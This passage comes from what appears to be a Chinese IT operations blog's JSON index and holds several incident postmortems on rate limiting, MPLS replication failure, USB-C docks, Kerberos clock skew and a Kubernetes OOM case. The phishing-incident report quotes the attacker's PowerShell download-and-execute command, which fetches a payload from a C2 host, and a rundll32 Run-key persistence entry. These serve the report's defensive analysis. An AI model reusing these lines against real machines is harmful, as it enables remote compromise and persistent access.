个请求、且允许一定突发\u0026quot;来设计：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 http { # 用真实客户端 IP（CDN 场景取 XFF 最左） map $http_x_forwarded_for $client_real_ip { default $binary_remote_addr; \u0026#34;~^(?P\u0026lt;first\u0026gt;\\d+\\.\\d+\\.\\d+\\.\\d+)\u0026#34; $first; } limit_req_zone $client_real_ip zone=perip:20m rate=20r/s; server { location / { limit_req zone=perip burst=40 delay=20; limit_req_status 429; proxy_pass http://backend; } } } 要点：\nrate=20r/s 容纳正常浏览； burst=40 给足突发缓冲； 去掉 nodelay，改用 delay=20：前 20 个超出的请求不延迟，其余进队列平滑处理，既保体验又防刷； 限流拒绝码改为 429（语义更准确），并基于 X-Forwarded-For 取真实客户端 IP，避免 CDN 合并误杀。 对静态资源（/assets/、图片）不限流，只对 API 和登录等敏感路径限流，进一步降低误杀面。 灰度上线后观察 30 分钟：503/429 比例稳定在 0.3%，且被拒 IP 确为少数高频异常来源，正常用户零投诉。\n五、根因分析\r根因是 limit_req 阈值设计与实际流量模型严重错配，叠加两个误用：\nrate/burst 按\u0026quot;单请求流\u0026quot;想象设置（2r/s、burst 3），但浏览器首屏天然并发几十请求，正常行为就被判为\u0026quot;超限\u0026quot;； nodelay 把漏桶本该的\u0026quot;平滑排队\u0026quot;变成\u0026quot;瞬间砍杀\u0026quot;，剥夺了缓冲； CDN 场景下用 $binary_remote_addr 取到的是 CDN 节点 IP，等于把整片用户合并成一个被限流对象，放大误杀。 本质上，限流是保护手段，但阈值必须建立在对正常用户行为基线的量化之上，不能拍脑袋。\n六、预防措施\r先度量，再限流：上线前用日志统计真实用户 P95/P99 的每 IP 请求速率与并发，阈值取正常峰值的 1.5~2 倍。\n慎用 nodelay：除非明确要\u0026quot;超 burst 立即拒绝\u0026quot;，否则用 delay= 让超出请求排队，保住体验。\nCDN 后取真实 IP：务必 real_ip / X-Forwarded-For 解析真实客户端地址，避免按边缘节点聚合限流。\n分级限流：静态资源不限，敏感/写接口严限，做到\u0026quot;该拦的拦、该放的放\u0026quot;。\n灰度 + 监控：新限流规则先 1 台网关灰度，盯 limit_req_status 与 4xx 比例，确认无误再全量；拒绝码用 429 便于区分。\n返回友好提示：对限流返回 429 + Retry-After 头，前端做退避重试，避免用户看到生硬 503。\n七、总结\r这次故障是典型的\u0026quot;安全策略反噬业务\u0026quot;。limit_req 本身没错，错在阈值是凭直觉设的、且 nodelay 用错了地方。排查关键三步：limit_req_status 日志确认拒绝来源 → 看 rate/burst/nodelay 组合 → 用真实并发复现 503。记住三条铁律：限流阈值必须基于真实流量基线；nodelay 不是默认选项；CDN 后面一定要还原真实客户端 IP。限流的目标是\u0026quot;拦坏人\u0026quot;，不是\u0026quot;误伤好人\u0026quot;，上线前做一次灰度观测，能省掉一次客诉危机。\n","date":"2025-11-23T22:51:12Z","permalink":"/posts/8abd0b2a/","title":"Nginx 限流误杀正常请求：阈值调优与复盘"},{"content":"一、问题背景\r我们的核心交易库采用\u0026quot;主机房 A + 备机房 B\u0026quot;跨机房主从架构：A 机房为主（读写），B 机房为从（只读报表/容灾），通过 MySQL 原生的主从复制（基于 binlog 的异步复制）跨机房同步。A、B 两机房之间走一条运营商 MPLS 专线（专线网关为 A 侧 10.0.0.1、B 侧 10.0.0.2，互联地址段 10.0.0.0/30），业务读写分离由中间件按\u0026quot;主写从读\u0026quot;路由。\n2025 年 10 月 9 日上午，报表团队反馈 B 机房查到的数据与 A 机房对不上，随后复制监控告警。\n二、故障现象\r10:30 起，B 机房从库 Slave_IO_Running 变为 No，复制线程中断； Seconds_Behind_Master 在中断前一度飙到 120s 以上，随后线程挂掉； 业务侧读写分离出现数据不一致：用户在 A 机房刚下的单，在 B 机房报表里查不到； 从库错误日志反复出现连接主库超时、重试失败： 1 2 [ERROR] Slave I/O: error connecting to master \u0026#39;repl@10.0.0.1:3306\u0026#39; - retry-time: 60 retries: 86400, Error_code: 2013 (Lost connection to server during query) [ERROR] Slave I/O: Got timeout reading communication packets 但 A 机房主库本身健康，本地读写无异常；B 机房到公网、到其他内网段正常，唯独到 A 机房专线时好时坏。 三、排查过程\r第一步：确认是网络问题还是数据库问题。 在 B 机房从库机器上对主库 IP 做连续 ping 与 mtr：\n1 2 3 4 ping -c 20 10.0.0.1 # 64 bytes from 10.0.0.1: icmp_seq=12 ttl=63 time=1823 ms # 64 bytes from 10.0.0.1: icmp_seq=13 ttl=63 time=* (丢包) # --- 10.0.0.1 ping statistics --- 20 packets transmitted, 15 received, 25% packet loss 平时该专线 RTT 在 3–5ms，此刻已到 1.8s 且 25% 丢包，明显是专线质量劣化。再看 mtr 路径：\n1 2 3 4 mtr -r -c 30 10.0.0.1 # Host Loss% Snt Avg StDev # 10.0.0.2 0.0% 30 0.4 0.2 (B 侧网关正常) # 10.0.0.1 25.0% 30 1823 900 (A 侧网关抖动) 抖动发生在跨机房 MPLS 这一段，而非本地。\n第二步：确认抖动特征。 持续 5 分钟抓 RTT 分布，发现是周期性突发：每约 40 秒出现一次 1–2 秒的时延尖峰并伴随丢包，低谷期又恢复正常。这种\u0026quot;规律性抖动\u0026quot;典型是运营商侧 MPLS 链路做了某种重路由或存在微突发拥塞。\n第三步：核对带宽与 QoS。 登录两侧专线网关查接口统计：\n1 2 3 4 5 show interfaces TenGigE0/0/0/1 # input rate 8.2 Gbps, output rate 7.9 Gbps (专线带宽 10G) # 输错: input errors 0, CRC 0, but \u0026#34;input drops\u0026#34; 累计上涨 show policy-map interface TenGigE0/0/0/1 output | inc drop # class-default: drop 18423 packets (QoS 默认类丢包) 发现默认类有持续丢包，说明瞬时流量逼近 10G 带宽上限，突发时被丢弃——这也解释了复制线程在大数据事务（如批量报表回放）时被卡断。\n第四步：关联变更。 联系运营商后确认，10:25 其对该 MPLS 链路做了一次保护倒换演练（未提前充分通知），部分流量被临时切到备用 LSP，路径变长、Buffer 不足，导致微突发丢包。\n四、解决方案\r先恢复复制：在 B 机房从库手动重启复制线程，并临时调大复制相关超时，避免瞬时抖动再次秒断： 1 2 3 4 5 6 STOP SLAVE; CHANGE MASTER TO MASTER_CONNECT_RETRY=10, MASTER_RETRY_COUNT=86400; START SLAVE; -- 同时调大从库 net_read_timeout / net_write_timeout SET GLOBAL net_read_timeout=120; SET GLOBAL net_write_timeout=120; 数据库层加复制心跳，让中断更快被发现、连接更早重建： 1 2 -- 主库 CHANGE MASTER TO MASTER_HEARTBEAT_PERIOD=2; 网络层临时规避：与运营商确认保护倒换演练窗口，将其避开业务高峰；同时对关键复制流量打 MPLS EXP/QoS 高优先级标签，避免被默认类丢弃。 带宽扩容评估：将专线从 10G 临时升级保障，错峰跑批量报表，降低瞬时拥塞。 恢复后 Seconds_Behind_Master 从 120s 逐步回落到 0，数据一致性在约 15 分钟后追平。\n五、根因分析\r根因是跨机房 MPLS 专线出现周期性抖动+微突发丢包，击穿了异步复制链路的健壮性：\n运营商保护倒换演练使部分流量临时走绕路 LSP，路径 RTT 从 3ms 涨到 1.8s，Buffer 不足引发丢包； MySQL 异步复制的 IO 线程对网络中断敏感，默认 net_read_timeout 较短，丢包导致 binlog 拉取中断即报错退出； 复制线程挂掉后，写入仍在 A 机房进行，B 机房数据持续滞后，读写分离架构下用户读到陈旧数据； 专线接口默认类 QoS 在带宽逼近上限时丢弃复制包，没有为数据库复制流量预留高优先级通道。 本质是跨机房强一致依赖（复制）跑在一条\u0026quot;无 QoS 保障、又会发生抖动\u0026quot;的单链路上，缺乏超时容错与流量分级。\n六、预防措施\r复制参数加固：从库设置合理的 MASTER_CONNECT_RETRY、net_read_timeout/net_write_timeout，并开启 MASTER_HEARTBEAT_PERIOD，让抖动后能快速自愈而非长期挂死。 专线 QoS 分级：为数据库复制、存储同步等跨机房关键流量打高优先级 MPLS EXP 标签，保证其在拥塞时不被默认类丢弃。 双专线/多路径：关键机房间部署主备两条异构运营商专线，配合 BFD 快速检测 + 动态路由切换，单链路抖动自动切备用。 变更协同机制：要求运营商任何 MPLS 倒换、演练必须提前通知并避开业务高峰，纳入变更窗口管理。 一致性校验与告警：部署 pt-table-checksum 定期比对主从差异；对 Slave_IO_Running=No、Seconds_Behind_Master 超阈值做秒级告警，避免滞后被业务先发现。 读写分离降级：当检测到从库延迟过大时，中间件自动把读请求切回主库，牺牲部分性能换取一致性。 七、总结\r这次故障是典型的\u0026quot;网络抖动用数据一致性买单\u0026quot;：一条 MPLS 专线的保护倒换演练，通过 MySQL 异步复制的脆弱连接，传导成了跨机房数据不一致。\n排查路径很清晰——从库复制报错 → 网络层对照 ping/mtr 定位专线抖动 → 网关接口统计确认 QoS 丢包 → 关联运营商变更，一线工程师只要按顺序下钻就能锁定。更深的启示是：跨机房复制这类\u0026quot;看似数据库、实则强依赖网络\u0026quot;的链路，必须在网络侧做 QoS 分级、多路径容灾，在数据库侧做超时与心跳加固，双管齐下才能扛住底层链路的日常抖动。\n","date":"2025-10-09T12:09:19Z","permalink":"/posts/30de78ed/","title":"MPLS 专线抖动致跨机房数据库同步中断的定位"},{"content":"一、问题背景\r研发部一位同事新领了 Dell Latitude 7440 笔记本，配了一台绿联 USB-C 扩展坞（型号 CM219，支持双 HDMI 输出，标称 4K@30Hz ×2），希望接两台 2K 显示器组成三屏（笔记本屏 + 双外显）办公。设备到手后桌面运维协助搭建，结果插上扩展坞、接好两根 HDMI 线后，两台外接显示器均提示“无信号”（黑屏，电源灯亮但无图像），笔记本自带屏幕正常。\n环境信息：笔记本为 Windows 11 23H2，扩展坞通过单一 USB-C 口连接，走 DP Alt Mode 输出视频；两台显示器均为 2K（2560×1440）@60Hz，HDMI 输入。扩展坞供电由笔记本 USB-C 反向取电（无独立电源）。这是典型的“一线连双屏”桌面场景，本应即插即用。\n二、故障现象\r具体表现：\n扩展坞 USB 口（键鼠、U 盘）工作正常，说明 USB-C 数据/供电通道是通的，问题只出在视频输出。 右键桌面“显示设置”里，有时只识别到笔记本单屏，有时短暂闪出“另两台显示器”后又消失；多数为只有“1 个显示器”。 两台显示器 OSD 菜单均显示“无信号，进入节能模式”，拔插 HDMI 无效。 设备管理器“显示适配器”下只有 Intel 核显，未出现扩展坞相关显示设备；且“其他设备”里挂着两个带黄色叹号的“未知 USB 设备（设备描述符请求失败）”。 将其中一台显示器直连笔记本 HDMI 口（绕过扩展坞）则正常显示，排除显示器与线缆本体损坏。 三、排查过程\r视频通道与 USB 通道共用 USB-C，但只有视频挂，按“驱动 → 协商 → 带宽”三层逐一排查。\n检查设备管理器异常设备，确认是扩展坞的显示控制器驱动没装： 1 2 3 其他设备 ├─ 未知 USB 设备 (设备描述符请求失败) └─ USB 显示设备 (带有黄色感叹号) 更新驱动：从绿联官网下载 CM219 专用 DisplayLink/DP 交替模式驱动并安装，重启后叹号消失，但双屏仍黑。说明驱动只是问题之一。\n验证 USB-C 口是否支持 DP Alt Mode 与供电能力： 1 2 # 用 USB Tree Viewer 或 PowerShell 查看 Get-PnpDevice -Class USB | Where-Object {$_.FriendlyName -like \u0026#34;*Type-C*\u0026#34;} 结合笔记本规格确认 Latitude 7440 的左口支持 DP 1.4 Alt Mode、供电 65W；但扩展坞 CM219 是“无源靠笔记本取电”设计，在多设备并发时供电紧张，导致 Alt Mode 协商不稳定。\n用 dxdiag 与 Intel 显卡控制面板查看可用显示通道，发现系统只协商出单路 4K 或双路降频，未能稳定建立双 2K@60Hz。手动在“显示设置 - 高级显示”里把两台显示器刷新率从 60Hz 降到 30Hz 后，其中一台偶尔能亮。\n替换测试线材：原配 HDMI 线为杂牌，标称“高速 HDMI”但实测仅支持 10.2Gbps（HDMI 1.4 水平）。2K@60Hz 单路约需 7.5Gbps，双路合计远超 10.2Gbps；而扩展坞到笔记本的 USB-C 线也是普通充电线（仅 60W 供电、无高速数据标识），DP 通道带宽被严重限制。\n查扩展坞说明书带宽分配：CM219 走单线 DP Alt Mode，总带宽由 USB-C（DP 1.2/1.4）与 dock 内部分配决定；无源 dock + 劣质线导致实际可用视频带宽不足以同时承载双 2K@60Hz，于是协商失败、双屏黑。\n四、解决方案\r三处问题叠加，分步解决：\n装驱动：安装官网 CM219 驱动，消除设备管理器叹号，让系统能识别扩展坞显示通道。 换线材：将笔记本—扩展坞的 USB-C 线换成带“40Gbps/100W 雷电线”标识的全功能线；两根 HDMI 线换成认证 HDMI 2.0（18Gbps）线，确保每条 2K@60Hz 通道有余量。 加供电：给扩展坞接独立 PD 电源（原配 65W），解除“靠笔记本取电”导致的协商掉压。 降负载兜底：在“显示设置”将两台外显刷新率设为 60Hz（线材达标后本就支持），若个别旧显示器仍抖动则临时降到 50Hz。 重插并 Win+P 选“扩展”模式，双屏同时点亮，三屏（笔记本+双 2K）稳定工作 8 小时无掉屏。 五、根因分析\r这是三个独立因素叠加导致的“全黑”，单独任一都不一定致命，合在一起必然失败：\n驱动缺失：扩展坞显示控制器无驱动，系统无法枚举外显，是“连不上”的基础原因。 DP Alt Mode 协商失败：USB-C 口虽支持 DP Alt Mode，但扩展坞为无源设计、靠笔记本取电，供电不稳使 Alt Mode 链路反复重协商、状态机无法进入稳定视频传输；加独立 PD 后解决。 线材带宽不足：笔记本—dock 的 USB-C 线只是充电线（数据带宽低），dock—显示器的 HDMI 线仅 HDMI 1.4（10.2Gbps）。双 2K@60Hz 合计需要远超该值的视频带宽，DP 通道被掐死后协商不出双路时序，只能双黑。换成全功能线 + HDMI 2.0 线后带宽充裕才成功。 本质是“链路每一段都刚好不够”，任何一段补齐都能缓解，但要双屏稳定必须三段同时达标。\n六、预防措施\r标准外设清单：桌面运维统一采购认证“全功能 USB-C 线（40Gbps/100W）”与 HDMI 2.0 认证线作为标配，禁止员工自购杂牌线，从物料源头保证带宽。 驱动预装：把常用扩展坞（绿联、Dell、联想）的显示驱动打进标准镜像/Intune 必装列表，新机开箱即具备，避免“设备描述符失败”。 选型规范：双屏以上场景优先选用“带独立 PD 供电的有源扩展坞”，明确标注所需 USB-C 口须支持 DP 1.4 Alt Mode；采购前核对笔记本规格。 自助排障卡：给员工一张一页纸排障指引：先查设备管理叹号 → 换全功能线 → 接独立电源 → Win+P 选扩展。多数问题员工可自行恢复，减少工单。 验收脚本：新扩展坞领用前由运维用 dxdiag + 实际双屏点亮验证，确认双显稳定再交付。 七、总结\rUSB-C 一线连双屏看似简单，实则横跨“驱动识别、Alt Mode 协商、线缆带宽”三重关卡，任何一环掉链子都会黑屏。本次三处短板（缺驱动、无源取电协商不稳、线材带宽不足）叠加才导致双屏全黑，也正因为是叠加故障，单换线或单装驱动都只能“偶尔亮一台”，必须三管齐下。给桌面运维的启示：扩展坞类故障不要只盯着设置，要从“线—供电—驱动”三件套整体核查，并用工单数据反推，把认证线材和驱动预装固化进标准流程，才能把这类“看起来玄学”的显示问题变成可预期、可自愈的常态化支持。\n","date":"2025-09-23T15:44:42Z","permalink":"/posts/cfb90b2b/","title":"USB-C 扩展坞接双屏为何没信号？桌面排障记"},{"content":"一、问题背景\r我司终端安全统一由 EDR（Endpoint Detection and Response，采用 CrowdStrike Falcon）纳管，全量约 2400 台办公终端均安装了轻量 Agent，开启行为检测与勒索防护。办公网通过域控下发组策略，约束软件安装与宏执行。网络侧有邮件安全网关（Mimecast）做反钓鱼与附件沙箱。\n2025-08-14 上午 09:51，EDR 控制台弹出一条\u0026quot;Malicious PowerShell Behavior\u0026quot;高危告警，涉及研发部员工 zhang.qiang 的笔记本（主机名 LAPTOP-ZQ，IP 10.20.35.77，OS Windows 11 23H2）。告警摘要指出该终端在数分钟内发起了与外网 C2 的可疑 HTTPS 通信，并伴随无文件 PowerShell 载荷执行。作为当班安全运维，我立即接入终端取证与隔离流程。\n二、故障现象\rEDR 告警原文如下：\n1 2 3 4 5 6 7 8 [DETECT] Malicious PowerShell / C2 Beacon 主机: LAPTOP-ZQ (10.20.35.77) 用户: DOMAIN\\zhang.qiang 进程: powershell.exe (PID 8421) \u0026lt;- wscript.exe (PID 7990) 行为: 下载并执行远程脚本 (IEX + Invoke-WebRequest) C2: 185.xx.xx.141:443 (NL, 伪装为 CDN) 文件落地: %TEMP%\\updater.dll 检测引擎: IOA (Indicator of Attack) 同时观测到该终端：\n出口防火墙日志显示 09:48 起向 185.xx.xx.141 发起周期性 HTTPS 请求（约每 60 秒一次，典型信标心跳）。 主机进程树出现 wscript.exe → powershell.exe → rundll32.exe 的异常链路，且 rundll32 加载了临时目录下的 updater.dll。 zhang.qiang 反馈：早上收到一封\u0026quot;快递包裹异常\u0026quot;的钓鱼邮件，附件是 package_notice.hta，双击后弹出\u0026quot;无法打开\u0026quot;的假错误，但之后电脑风扇转得厉害、偶有卡顿。 基本判定：钓鱼 HTA 附件释放了远控木马（RAT），终端已沦为 C2 控制的肉鸡。\n三、排查过程\r第一步：网络隔离，防止横向扩散。\n在不关停主机、保留内存现场的前提下，先通过 EDR 一键\u0026quot;Network Containment\u0026quot;将终端从业务 VLAN 隔离到 quarantine 网段，仅保留与 EDR 控制台的通信：\n1 2 EDR Action: Contain Host LAPTOP-ZQ Result: Success. Host isolated at 09:53. North-south traffic blocked. 第二步：进程与文件溯源。\n从 EDR 拉取进程树，还原攻击链：\n1 2 3 4 5 [1] outlook.exe (PID 5120) 打开附件 package_notice.hta [2] mshta.exe (PID 7766) 解析 HTA，释放 %TEMP%\\loader.js [3] wscript.exe(PID 7990) 执行 loader.js [4] powershell.exe (PID 8421) IEX(Invoke-WebRequest http://185.xx.xx.141/upd.bin) [5] rundll32.exe (PID 8602) 加载 %TEMP%\\updater.dll (RAT 载荷) 在终端上用 Autoruns 检查发现木马已写入启动项：\n1 2 3 Get-ItemProperty \u0026#34;HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\u0026#34; | Select-Object * | Format-List # 输出含: Updater = \u0026#34;rundll32.exe %TEMP%\\updater.dll,Start\u0026#34; 第三步：IOC 提取与影响面排查。\n提取本次 IOC：C2 域名/IP、落地文件哈希（SHA256）、HTA 样本。在 SIEM 中全网下发检索，确认仅 LAPTOP-ZQ 一台主机命中，未出现横向移动（该木马本身不含内网传播模块，但已尝试读取浏览器保存的密码与域凭证缓存）。\n1 2 3 4 5 全网 IOC 命中扫描: 185.xx.xx.141 命中主机: 1 (LAPTOP-ZQ) updater.dll SHA256 命中主机: 1 package_notice.hta 命中主机: 1 结论: 单点失陷，无扩散。 四、解决方案\r处置以\u0026quot;清除 + 凭证吊销 + 恢复\u0026quot;为主线：\n终止恶意进程并删除持久化： 1 2 3 Stop-Process -Name rundll32, powershell, wscript, mshta -Force Remove-ItemProperty -Path \u0026#34;HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\u0026#34; -Name \u0026#34;Updater\u0026#34; Remove-Item \u0026#34;$env:TEMP\\updater.dll\u0026#34;,\u0026#34;$env:TEMP\\loader.js\u0026#34;,\u0026#34;$env:TEMP\\package_notice.hta\u0026#34; -Force 吊销并重置凭证：该终端曾登录过域账号，存在凭证缓存风险，强制 zhang.qiang 改密并使其所有 TGT 失效（Set-ADAccountPassword + krbtgt 滚动待评估）；同时让其注销已登录的 Web 应用会话。\n样本提交与封堵：将 HTA/RAT 样本上传沙箱（ANY.RUN）做深度分析，提取 C2 域名加入防火墙与邮件网关黑名单；在 EDR 中创建自定义 IOC 阻止规则，全网阻断该哈希。\n系统恢复：由于 RAT 可能残留在系统目录，按安全规范不冒险\u0026quot;手工清理\u0026quot;，而是从标准镜像重装系统并还原个人数据（数据盘已隔离备份），确保彻底干净。\n解除隔离与复盘：恢复后解除 Network Containment，10:20 终端回归业务网，全程未影响其他员工。\n五、根因分析\r入口：钓鱼邮件附件 package_notice.hta 利用了 mshta.exe 可直接执行 HTA 脚本的特性，绕过了\u0026quot;禁用宏\u0026quot;的防护（HTA 不属于 Office 宏，组策略未限制）。 载荷：HTA 内嵌 JavaScript 经 wscript 调用 PowerShell 下载二次载荷，使用 IEX 无文件执行规避磁盘查杀，再用 rundll32 加载 DLL 实现常驻，属于典型的\u0026quot;无文件 + 落地 DLL\u0026quot;混合技战术。 短板：终端组策略未禁用 mshta.exe 与脚本宿主（wscript/cscript）；邮件网关沙箱对 HTA 类附件的检出率不足；该员工安全意识培训覆盖不全。 六、预防措施\r收紧脚本宿主：通过 GPO 禁用 mshta.exe、wscript.exe、cscript.exe 的非必要执行（或仅允许白名单路径），从源头掐断 HTA 执行链。 强化邮件网关：在 Mimecast 中对 .hta/.js/.vbs/.scr 等危险扩展名直接剥离或隔离，并提升沙箱对无文件载荷的检出策略。 攻击面收敛：启用 EDR 的\u0026quot;脚本控制/PowerShell 约束语言模式\u0026quot;，对 IEX + Invoke-WebRequest 这类组合做默认阻断。 凭证保护：推广 Windows Hello for Business 替代密码登录，降低终端缓存凭证被窃取的价值；启用 LSASS 受保护进程。 意识与演练：将 HTA/快捷方式类钓鱼纳入季度钓鱼演练，对研发等高风险岗位增加专项培训。 七、总结\r这是一次标准的\u0026quot;钓鱼 HTA → 无文件 PowerShell → DLL 远控\u0026quot;终端失陷事件。EDR 的行为检测（IOA）在攻击链早期就抓住了 PowerShell 异常，配合一键网络隔离，把影响牢牢限制在了单台终端，没有波及内网。最大的启示是：传统\u0026quot;基于文件哈希\u0026quot;的杀毒对无文件攻击几乎无效，必须依赖 EDR 的行为分析与快速 containment 能力；而 GPO 对 mshta/脚本宿主的禁用，则是性价比极高的一道前置防线。终端安全没有银弹，但\u0026quot;EDR 看得见 + 隔离快 + 策略收得紧 + 人训得到位\u0026quot;四件套，足以把绝大多数同类事件挡在可控范围内。\n","date":"2025-08-14T10:20:27Z","permalink":"/posts/0a8ea846/","title":"钓鱼邮件致终端感染远控木马：溯源与处置"},{"content":"问题背景\r某周一上午 9 点左右，公司 IT 服务台接到多起投诉：员工无法访问共享文件夹（\\\\fileserver\\share），访问内网系统提示\u0026quot;用户名或密码不正确\u0026quot;，即使重新输入正确密码仍无法登录。部分员工的 Outlook 也无法连接 Exchange，提示需要重新输入密码。\n受影响人数约 60 人，分布在不同楼层，但有一个共同点：周末期间他们的电脑一直保持开机状态（服务器机房和少量长期开机的办公室电脑）。\n故障现象\r访问共享文件夹报错：登录失败：目标账户名不正确 Outlook 提示凭据错误，无法连接 Exchange 部分系统登录时报：此计算机上的时钟与主域控制器上的时钟不同步 klist 命令查看 Kerberos 票据，显示无法获取票据：KRB5KRB_AP_ERR_SKEW: Clock skew too great 排查过程\r第一步：注意到时间错误提示\r一位细心的用户截图发给 IT，截图中包含了一行小字：此计算机上的时钟与主域控制器上的时钟不同步。这个提示是关键线索。\n在一台受影响的机器上查看系统时间：\n1 w32tm /query /status 输出：\n1 2 3 4 5 6 7 8 9 Leap Indicator: 3(not synchronized) Stratum: 0 (unspecified) Precision: -23 (119.209ns per tick) Root Delay: 0.0000000s Root Dispersion: 10.0000000s ReferenceId: 0x00000000 Last Successful Sync Time: 7/11/2025 11:30:45 PM Source: time.windows.com Poll Interval: 17 (131072s) 关键发现：Last Successful Sync Time 是 7月11日（周五晚上），已经 3 天没有同步！\n再看当前时间与域控的差异：\n1 net time \\\\dc01 输出：\n1 2 Current time at \\\\DC01 is 7/14/2025 9:23:15 AM The command completed successfully. 而本机时间：\n1 time /t 1 09:17:42 本机时间 09:17，DC 时间 09:23，差了约 6 分钟，超过了 Kerberos 允许的最大时间偏差（5 分钟）。\n第二步：Kerberos 时间敏感性原理\rKerberos 协议要求客户端和 KDC（Key Distribution Center，通常是域控）之间的时间差不超过 5 分钟（由 MaxClockSkew 参数控制，默认值 5 分钟）。这是 Kerberos 防止重放攻击的安全机制。\n当时间偏差超过 5 分钟时：\n客户端申请 Kerberos 票据（TGT）时，KDC 会拒绝请求，返回 KRB5KRB_AP_ERR_SKEW 所有依赖 Kerberos 的服务认证失败，包括：共享文件夹访问、Exchange、域控登录、GPO 应用等 第三步：追查 NTP 同步失败的原因\r受影响的机器理论上应该从域控同步时间（域成员机器默认时间源是域控）。检查这些机器为什么没有同步：\n1 w32tm /query /configuration 输出发现这台机器的 NTP 源被手动配置为了 time.windows.com（外网 NTP 服务器），而不是使用域的自动配置（NT5DS，从域层次结构同步）。\n继续查看其他受影响机器，发现大部分受影响机器的 NTP 配置有问题，要么被手动改过，要么因为某个组策略没有正常应用而导致 NTP 源配置不正确。\n进一步查看域控本身的 NTP 配置：\n1 2 # 在 DC01 上执行 w32tm /query /status 1 2 3 4 Leap Indicator: 3(not synchronized) Stratum: 0 (unspecified) Last Successful Sync Time: 7/11/2025 11:28:13 PM Source: ntp.aliyun.com 域控本身也没有同步！ 域控的上游 NTP 服务器（ntp.aliyun.com）从周五晚上开始就无法访问了。\n第四步：排查为什么 NTP 服务器不可达\r1 ping ntp.aliyun.com 1 Request timeout for icmp_seq 0 无法 ping 通。检查防火墙日志，发现周六白天运维团队在做例行防火墙策略清理时，误删了一条允许 UDP 123（NTP 协议端口）出站的规则，导致所有机器无法向外部 NTP 服务器同步时间。\n由于周末无人值班，这个问题持续了 2 天多，域控的时间逐渐漂移，到周一早上已经偏差 6 分钟，触发了 Kerberos 认证失败。\n完整的故障链： 防火墙误删 UDP 123 规则 → NTP 同步失败 → 域控时间漂移 → 域成员机器时间偏差超 5 分钟 → Kerberos 认证失败 → 大量服务不可访问\n解决方案\r第一步：恢复防火墙 NTP 规则\r在 FortiGate 防火墙上重新添加允许出站 UDP 123 的规则：\n1 2 3 4 5 策略 → 允许出站 NTP Source: Internal_Network Destination: All Service: NTP (UDP 123) Action: Accept 第二步：强制域控同步时间\r1 2 # 在 PDC（主域控制器）上执行 w32tm /resync /force 等待同步完成：\n1 w32tm /query /status 验证 Last Successful Sync Time 更新为当前时间。\n第三步：强制受影响机器同步\r在受影响机器上：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 先停止 W32Time 服务 net stop w32time # 注册并重新配置为域同步 w32tm /unregister w32tm /register # 重启服务 net start w32time # 强制同步 w32tm /resync /force # 验证 w32tm /query /status net time \\\\dc01 第四步：通过 GPO 批量修复\r对于大量受影响机器，通过 PowerShell 远程批量执行：\n1 2 3 4 5 6 7 8 $computers = (Get-ADComputer -Filter * -SearchBase \u0026#34;OU=Workstations,DC=company,DC=com\u0026#34;).Name Invoke-Command -ComputerName $computers -ScriptBlock { Stop-Service w32time -Force w32tm /unregister w32tm /register Start-Service w32time w32tm /resync /force } 处理完成后，相关 Kerberos 错误消失，服务全部恢复正常。\n根因分析\r根本原因是防火墙变更管理不规范，例行清理操作误删了 NTP 出站规则，且该变更没有经过充分测试和验证，也没有回滚计划。NTP 时间同步失败属于\u0026quot;慢性\u0026quot;故障，不会立即触发告警，而是在时间漂移积累到一定程度后才爆发。\n次要原因是缺乏 NTP 同步状态的监控，如果有监控在 NTP 同步失败时立即告警，可以在几小时内发现并修复，而不是等到周一早高峰才被动发现。\n预防措施\r1. NTP 同步状态监控\n在 Zabbix 中添加监控项，监控关键服务器（尤其是域控）的时间同步状态和时间偏差，超过 60 秒偏差时告警：\n1 2 # Zabbix Agent 自定义 UserParameter UserParameter=ntp.offset,w32tm /query /status | grep \u0026#34;Phase Offset\u0026#34; | awk \u0026#39;{print $3}\u0026#39; 2. 防火墙变更双人复核\n所有防火墙策略变更必须经过运维负责人审核，变更后验证关键服务（DNS、NTP、AD认证）的可用性。\n3. 保留 NTP 备用内网服务器\n在内网部署一台 NTP 服务器作为备用，即使出口 NTP 不可达，内网机器也可以从内网 NTP 服务器同步时间。\n总结\rNTP 是 AD 域环境中\u0026quot;沉默的基础设施\u0026quot;，平时无人关注，一旦出问题却能引发连锁反应。这次事故让我们深刻认识到：越是基础的服务，越需要完善的监控。时钟同步听起来不重要，但在 Kerberos 的世界里，6 分钟的时差就能让整个认证体系瘫痪。\n","date":"2025-07-14T09:15:00Z","permalink":"/posts/8ca2b9a4/","title":"记一次 NTP 异常致 Kerberos 认证全失效的排查"},{"content":"一、问题背景\r我们的订单中心 order-service 跑在 Kubernetes 集群（v1.27，containerd 运行时）上，Deployment 配置 6 个副本，平时负载稳定，内存常驻约 600MB。该服务是交易链路的核心，下游由支付、库存等服务调用，上游又被 API 网关和多个内部业务系统依赖。\n某天上午，运营临时做了一个营销活动，订单量较平日上涨约 3 倍。活动开始约 20 分钟后，订单成功率告警触发。此时我们并未发版，纯属流量驱动的突发故障。集群节点规格为 8C16G，节点本身剩余内存充足，看起来不像是节点级资源问题。\n二、故障现象\r监控面板在 09:05 左右集中飘红：\norder-service 的 CrashLoopBackOff 副本数从 0 涨到 4，6 个副本里一度只剩 2 个在 Running； 上游 API 网关大量返回 504，order-service 调用超时率从 0.2% 升到 35%； 订单创建成功率从 99.6% 跌到 58%，部分用户出现重复下单； 滚动更新状态卡在 Progressing：新副本 ready 数量始终达不到 minAvailable，Deployment 既不成功也不回滚。 最迷惑的是：节点 kubectl top node 显示内存还有 6G+ 空闲，但 Pod 就是不断重启。这说明问题出在 Pod 级别内存限制（limit），而不是节点容量。\n三、排查过程\r第一步，看 Pod 事件，直接命中关键字：\n1 2 3 4 5 6 7 8 9 $ kubectl describe pod order-service-7d9c8b6f4-xyz12 ... Last State: Terminated Reason: OOMKilled Exit Code: 137 Events: Type Reason Age From Message Warning Unhealthy 2m kubelet Readiness probe failed: HTTP probe failed with statuscode: 503 Warning BackOff 1m kubelet Back-off restarting failed container Reason: OOMKilled 和 Exit Code: 137 明确说明容器是被 cgroup 杀了——进程实际用量超过了 memory limit。\n第二步，看内存配置和真实用量：\n1 2 3 4 $ kubectl get deploy order-service -o jsonpath=\u0026#39;{.spec.template.spec.containers[0].resources}\u0026#39; 